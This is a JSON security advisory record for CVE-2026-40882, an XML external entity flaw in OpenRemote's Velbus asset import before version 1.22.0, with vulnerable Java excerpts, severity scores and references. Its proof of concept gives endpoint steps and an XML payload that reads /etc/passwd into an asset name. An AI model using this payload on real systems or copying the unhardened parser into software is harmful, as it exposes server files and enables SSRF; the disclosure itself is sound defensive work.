{"id":"CVE-2026-40882","aliases":["CVE-2026-40882","GHSA-g24f-mgc3-jwwc"],"related":[],"kind":"vulnerability","state":"published","title":"OpenRemote has XXE in Velbus Asset Import","summary":"OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.0, the Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters. Version 1.22.0 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.0, the Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters. Version 1.22.0 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.\n\n### Details\nVelbus import uses `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)` on untrusted XML input, without explicit safeguards to disable DTD/external entities.\n\n```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n    @Override\n    public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {\n\n        return executorService.submit(() -> {\n            Document xmlDoc;\n            try {\n                String xmlStr = new String(fileData, StandardCharsets.UTF_8);\n                LOG.info(\"Parsing VELBUS project file\");\n\n                xmlDoc = DocumentBuilderFactory\n                    .newInstance()\n                    .newDocumentBuilder()\n                    .parse(new InputSource(new StringReader(xmlStr)));\n```\n\nExpanded `Caption` content is propagated into created asset names:\n\n```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n                String name = module.getElementsByTagName(\"Caption\").item(0).getTextContent();\n                name = isNullOrEmpty(name) ? deviceType.toString() : name;\n\n                // TODO: Use device specific asset types\n                Asset<?> device = new ThingAsset(name);\n```\n\n### PoC\n1. Log in to a realm with a user that can call Velbus asset import.\n2. Create/select a Velbus TCP Agent in that same realm.\n3. Send `POST /api/{realm}/agent/assetImport/{agentId}` with a Velbus project XML payload and compare behavior against a baseline import file.\n3. Save the below code as a `xxe.xml` and upload to `Setup` under `https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>`. Chnage the `file:///etc/passwd` to another file if your `passwd` is longer than 1023 characters.\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE velbus [\n  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n<Project>\n  <Module type=\"VMB1RY\" address=\"01\" build=\"00\" serial=\"LAB\">\n    <Caption>&xxe;</Caption>\n  </Module>\n</Project>\n```\n\nAs long as the file content is under 1023 characters, the exploit will succeed.\n<img width=\"1200\" height=\"662\" alt=\"image\" src=\"https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b\" />\n\nIf the file content reaches the limit, an error is thrown.\n<img width=\"1200\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429\" />\n\n\n### Impact\n- **Type:** XML External Entity (XXE)\n- **Affected:** Deployments exposing Velbus import to authenticated users with import access\n- **Risk:** limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.","format":"markdown","source":"ghsa"},{"lang":"es","text":"OpenRemote es una plataforma de internet de las cosas de código abierto. Antes de la versión 1.22.0, la ruta de importación de activos de Velbus analiza XML controlado por el atacante sin un endurecimiento explícito contra XXE. Un usuario autenticado que puede llamar al punto final de importación puede desencadenar el procesamiento de entidades externas XML, lo que puede llevar a la divulgación de archivos del lado del servidor y SSRF. El archivo objetivo debe tener menos de 1023 caracteres. La versión 1.22.0 corrige el problema.","source":"nvd"}],"published":"2026-04-15T19:42:23.000Z","modified":"2026-11-11T23:10:00.263Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","score":7.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","score":7.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","score":7.6,"rating":"HIGH"}],"cwes":["CWE-611"],"affected":[{"ranges":[{"version":"< 1.22.0","status":"affected"}],"vendor":"openremote","product":"openremote","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.22.0"}],"ecosystem":"Maven","package":"io.openremote:openremote-manager","purl":"pkg:maven/io.openremote/openremote-manager","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.22.0"}],"vendor":"openremote","product":"openremote","cpe":"cpe:2.3:a:openremote:openremote:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40882","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/openremote/openremote","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-23T13:46:44.026Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40882","url":"https://www.cve.org/CVERecord?id=CVE-2026-40882","licence":"CVE Terms of Use","modified":"2026-04-23T13:47:07.964Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g24f-mgc3-jwwc","url":"https://github.com/advisories/GHSA-g24f-mgc3-jwwc","licence":"CC-BY-4.0","modified":"2026-05-05T16:06:25.845Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40882","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40882","licence":"Public domain","modified":"2026-11-11T23:10:00.263Z"}],"updatedAt":"2026-11-25T22:59:19.352Z","epss":{"score":0.00268,"percentile":0.20174,"date":"2026-12-01T12:00:22.000Z"}}